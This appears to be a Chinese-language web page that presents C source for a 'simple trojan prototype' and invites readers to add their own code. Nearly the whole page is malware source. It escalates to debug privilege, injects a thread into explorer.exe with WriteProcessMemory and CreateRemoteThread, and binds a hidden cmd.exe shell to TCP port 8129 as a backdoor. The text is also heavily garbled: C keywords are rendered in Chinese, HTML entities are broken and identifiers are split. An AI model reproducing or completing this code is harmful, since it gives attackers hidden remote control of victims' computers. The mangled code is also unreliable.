將您自己的XXX添加到壹個簡單的特洛伊原型的基本代碼中，添加異常shell，並進行壹些小的修改，您就可以...
# include & ltwinsock2.h & gt
#pragma註釋(lib，" ws2_32.lib ")
# include & ltwindows.h & gt
# include & ltShlwapi.h & gt
#pragma註釋(lib，" Shlwapi.lib ")
# include & lttlhelp32.h & gt
# include & ltstdio.h & gt
# include & ltstring.h & gt
//參數結構；
typedef struct _RemotePara
{
DWORD dwLoadLibrary
DWORD dwFreeLibrary
DWORD dwGetProcAddress
DWORD dwGetModuleHandle
DWORD dwWSAStartup
DWORD dwSocket
DWORD dwhtons
DWORD dwbind
DWORD dwlisten
DWORD dwaccept
DWORD dwsend
DWORD dwrecv
DWORD dwclosesocket
DWORD dwCreateProcessA
DWORD dwPeekNamedPipe
DWORD dwWriteFile
DWORD dwReadFile
DWORD dwCloseHandle
DWORD dwCreatePipe
DWORD dwTerminateProcess
DWORD dwMessageBoxchar strMessageBox[12]；
char winsockDll[16]；
char cmd[10]；
char Buff[4096]；
char telnetmsg[60]；
} RemotePara//增強應用程序級調試權限
BOOL enable privilege(HANDLE hto ken，LPCTSTR szPrivName，BOOL fEnable)；
//根據進程名獲取進程ID。
DWORD GetPidByName(char * SZ name)；//遠程線程執行器
DWORD _ _ stdcall thread proc(remote Para * Para)
{
WSADATA WSAData
單詞轉換；
套接字listenSocket
SOCKET客戶端SOCKETstruct sockaddr _ in server _ addr
struct sockaddr _ in client _ addrint iAddrSize = sizeof(client _ addr)；SECURITY _ ATTRIBUTES sa句柄hread pipe 1；
處理hwritepipe 1；
處理hReadPipe2
處理hWritePipe2STARTUPINFO si
過程_信息過程信息；
無符號長整型lBytesRead = 0；typedef hin instance(_ _ stdcall * pload library)(char *)；
typedef FARPROC(_ _ stdcall * PGetProcAddress)(HMODULE，LPCSTR)；
typedef h instance(_ _ stdcall * PFreeLibrary)(h instance)；
typedef hin instance(_ _ stdcall * PGetModuleHandle)(HMODULE)；FARPROC PMessageBoxA
FARPROC PWSAStartup
FARPROC PSocket
FARPROC Phtons
FARPROC Pbind
法爾普羅·普利斯滕；
FARPROC Paccept
FARPROC Psend
FARPROC Precv
FARPROC Pclosesocket
FARPROC PCreateProcessA
FARPROC PPeekNamedPipe
FARPROC PWriteFile
FARPROC PReadFile
FARPROC PCloseHandle
FARPROC PCreatePipe
終止過程；pload library loadlibrary func =(pload library)Para-& gt；dwLoadLibrary
PGetProcAddress GetProcAddressFunc =(PGetProcAddress)Para-& gt；dwGetProcAddress
PFreeLibrary freelibrary func =(PFreeLibrary)Para-& gt；dwFreeLibrary
PGetModuleHandle GetModuleHandleFunc =(PGetModuleHandle)Para-& gt；dwGetModuleHandleLoadLibraryFunc(Para-& gt；winsockDll)；PWSAStartup =(FARPROC)Para-& gt；dwWSAStartup
PSocket = (FARPROC)Para->dwSocket
Phtons = (FARPROC)Para->dwhtons
Pbind = (FARPROC)Para->dwbind
Plisten = (FARPROC)Para->dwlisten
Paccept = (FARPROC)Para->dwaccept
Psend = (FARPROC)Para->dwsend
Precv = (FARPROC)Para->dwrecv
pclosesocket =(FARPROC)Para-& gt；dwclosesocket
PCreateProcessA = (FARPROC)Para->dwCreateProcessA
PPeekNamedPipe =(FARPROC)Para-& gt；dwPeekNamedPipe
PWriteFile =(FARPROC)Para-& gt；dwWriteFile
PReadFile = (FARPROC)Para->dwReadFile
PCloseHandle =(FARPROC)Para-& gt；dwCloseHandle
PCreatePipe = (FARPROC)Para->dwCreatePipe
PTerminateProcess =(FARPROC)Para->dwTerminateProcess
PMessageBoxA = (FARPROC)Para->dwMessageBoxnVersion = MAKEWORD(2，1)；
PWSAStartup(nVersion，(LPWSADATA)& amp；wsa data)；
listenSocket = PSocket(AF_INET，SOCK_STREAM，0)；
if(listen SOCKET = = INVALID _ SOCKET)返回0；server _ addr . sin _ family = AF _ INET；
server_addr.sin_port = Phtons((無符號短整型)(8129))；
server _ addr . sin _ addr . s _ addr = in addr _ ANY；if(Pbind(listenSocket，(struct sockaddr *)& amp；server_addr，sizeof(SOCKADDR_IN))！= 0)返回0；
if(Plisten(listenSocket，5))返回0；
client socket = p accept(listen socket，(struct sockaddr *)& amp；客戶端地址。iAddrSize)；
// Psend(clientSocket，Para-& gt；telnetmsg，60，0)；如果(！PCreatePipe(& amp；hReadPipe1。hwritepipe 1；sa，0))返回0；
如果(！PCreatePipe(& amp；hReadPipe2。hwritepipe 2 & amp；sa，0))返回0；zero memory(& amp；si，sizeof(si))；//ZeroMemory是壹個C運行庫函數，可以直接調用。
si . dw flags = STARTF _ USESHOWWINDOW | STARTF _ USESTDHANDLES；
si.wShowWindow = SW _ HIDE
si . hstd input = hread pipe 2；
si . hstd output = si . hstd error = hwritepipe 1；如果(！PCreateProcessA(NULL，Para->cmd，NULL，NULL，1，0，NULL，NULL & amp；思& ampProcessInformation))返回0；
while(1) {
內存集(Para->；Buff，0.4096)；
PPeekNamedPipe(hreadpipe 1，Para-& gt；Buff，4096 & amp；lBytesRead，0，0)；
if(lBytesRead) {
如果(！PReadFile(hReadPipe1，Para-& gt；Buff，lBytesRead & amp；lBytesRead，0))break；
如果(！Psend(clientSocket，Para-& gt；Buff，lBytesRead，0))break；
}否則{
lBytesRead=Precv(clientSocket，Para-& gt；Buff，4096，0)；
if(lBytesRead & lt；=0)斷開；
如果(！PWriteFile(hWritePipe2，Para-& gt；Buff，lBytesRead & amp；lBytesRead，0))break；
}
} PCloseHandle(hwritepipe 2)；
PCloseHandle(hreadpipe 1)；
pclose handle(hread pipe 2)；
PCloseHandle(hwritepipe 1)；
pclosesocket(listen socket)；
pclosesocket(client socket)；// PMessageBoxA(NULL，Para-& gt；strMessageBox，Para-& gt；strMessageBox，MB _ OK)；返回0；
} int API entry WinMain(h instance h instance，
HINSTANCE hPrevInstance，
LPSTR lpCmdLine，
int nCmdShow)
{
const DWORD THREADSIZE = 1024 * 4；
DWORD字節寫入；
void * pRemoteThread
處理hToken、hRemoteProcess、hThread
HINSTANCE hKernel，hUser32，hSock
RemotePara myRemotePara，* pRemotePara
DWORD pIDOpenProcessToken(GetCurrentProcess()，TOKEN_ADJUST_PRIVILEGES，& amphto ken)；
EnablePrivilege(hToken，SE_DEBUG_NAME，TRUE)；//獲取指定的進程句柄，並將其權限設置為PROCESS_ALL_ACCESS。
pID = GetPidByName("EXPLORER。EXE”)；
if(pID == 0)返回0；
hRemoteProcess = open PROCESS(PROCESS _ ALL _ ACCESS，FALSE，pID)；
如果(！hRemoteProcess)返回0；//在遠程進程地址空間中分配虛擬內存
pRemoteThread = VirtualAllocEx(hRemoteProcess，0，THREADSIZE，MEM _提交| MEM _保留，頁面_執行_讀寫)；
如果(！pRemoteThread)返回0；//將線程執行器ThreadProc寫入遠程進程。
如果(！WriteProcessMemory(hRemoteProcess，pRemoteThread，& ampThreadProc，THREADSIZE，0))返回0；zero memory(& amp；myRemotePara，sizeof(remote para))；
hKernel = LoadLibrary(" kernel 32 . dll ")；
myremotepara . dwloadlibrary =(DWORD)GetProcAddress(hKernel，" loadlibrary a ")；
myremotepara . dwfreelibrary =(DWORD)GetProcAddress(hKernel，“free library”)；
myremotepara . dwgetprocaddress =(DWORD)GetProcAddress(hKernel，" GetProcAddress ")；
myremotepara . dwgetmodulehandle =(DWORD)GetProcAddress(hKernel，" GetModuleHandleA ")；myremotepara . dwcreateprocessa =(DWORD)GetProcAddress(hKernel，" CreateProcessA ")；
myremotepara . dwpeeknamedpipe =(DWORD)GetProcAddress(hKernel，" PeekNamedPipe ")；
myremotepara . dw WriteFile =(DWORD)GetProcAddress(hKernel，" WriteFile ")；
myremotepara . dwreadfile =(DWORD)GetProcAddress(hKernel，" ReadFile ")；
myremotepara . dwclosehandle =(DWORD)GetProcAddress(hKernel，" CloseHandle ")；
myremotepara . dwcreatepipe =(DWORD)GetProcAddress(hKernel，" create pipe ")；
myremotepara . dwterminateprocess =(DWORD)GetProcAddress(hKernel，“terminate process”)；hSock = LoadLibrary(" wsock 32 . dll ")；
myremotepara . dwwsastartup =(DWORD)GetProcAddress(hSock，" WSAStartup ")；
myremotepara . dw socket =(DWORD)GetProcAddress(hSock，" socket ")；
myremotepara . dwhtons =(DWORD)GetProcAddress(hSock，" htons ")；
myremotepara . dw bind =(DWORD)GetProcAddress(hSock，" bind ")；
myremotepara . dw listen =(DWORD)GetProcAddress(hSock，" listen ")；
myremotepara . dw accept =(DWORD)GetProcAddress(hSock，" accept ")；
myremotepara . dw recv =(DWORD)GetProcAddress(hSock，" recv ")；
myremotepara . dwsend =(DWORD)GetProcAddress(hSock，" send ")；
myremotepara . dwclosesocket =(DWORD)GetProcAddress(hSock，" closesocket ")；huser 32 = LoadLibrary(" user 32 . dll ")；
myremotepara . dw messagebox =(DWORD)GetProcAddress(huser 32，" messagebox a ")；strcat(myremotepara . strmessagebox，"成功！\\0");
strcat(myRemotePara.winsockDll，" wsock 32 . dll \ \ 0 ")；
strcat(myRemotePara.cmd，" cmd . exe \ \ 0 ")；
strcat(myRemotePara.telnetmsg，"連接成功！\ \ n \ \ 0 ")；//寫入目標進程
pRemotePara =(remote para *)VirtualAllocEx(hRemoteProcess，0，sizeof(RemotePara)，MEM _提交，頁面_讀寫)；
如果(！pRemotePara)返回0；
如果(！WriteProcessMemory(hRemoteProcess，pRemotePara，& ampmyRemotePara，sizeof myRemotePara，0))返回0；//啟動線程
hThread = CreateRemoteThread(hRemoteProcess，0，0，(DWORD(_ _ stdcall *)(void *))pRemoteThread，pRemotePara，0，& amp字節_寫)；
while(1) {}
免費圖書館(hKernel)；
免費圖書館(hSock)；
免費圖書館(huser 32)；
close handle(hRemoteProcess)；
close handle(hto ken)；返回0；
} BOOL enable privilege(HANDLE hToken，LPCTSTR szPrivName，BOOL fEnable){
TOKEN _ PRIVILEGES tp
tp。PrivilegeCount = 1；
LookupPrivilegeValue(NULL，szPrivName，& amptp。權限[0]。luid)；
tp。權限[0]。Attributes = fEnable？SE _ private _ ENABLED:0；
AdjustTokenPrivileges(hToken，FALSE，& amptp，sizeof(tp)，NULL，NULL)；
return((GetLastError()= = ERROR _ SUCCESS))；
}DWORD GetPidByName(char *szName)
{
HANDLE hProcessSnap = INVALID _ HANDLE _ VALUE；
process entry 32 pe32 = { 0 }；
DWORD dwRet = 0；hProcessSnap = createtoolhelp 32 snapshot(th 32 cs _ snap process，0)；
if(hProcessSnap = = INVALID _ HANDLE _ VALUE)返回0；pe32 . dwsize = sizeof(process entry 32)；
if(Process32First(hProcessSnap，& amppe32))
{
做
{
if(StrCmpNI(szName，pe32.szExeFile，strlen(szName))==0)
{
dw ret = pe32 . th 32 processid；
打破；
}
} while(process 32 next(hProcessSnap，& amppe32))；
}
否則返回0；if(hProcessSnap！= INVALID _ HANDLE _ VALUE)close HANDLE(hProcessSnap)；
返回dwRet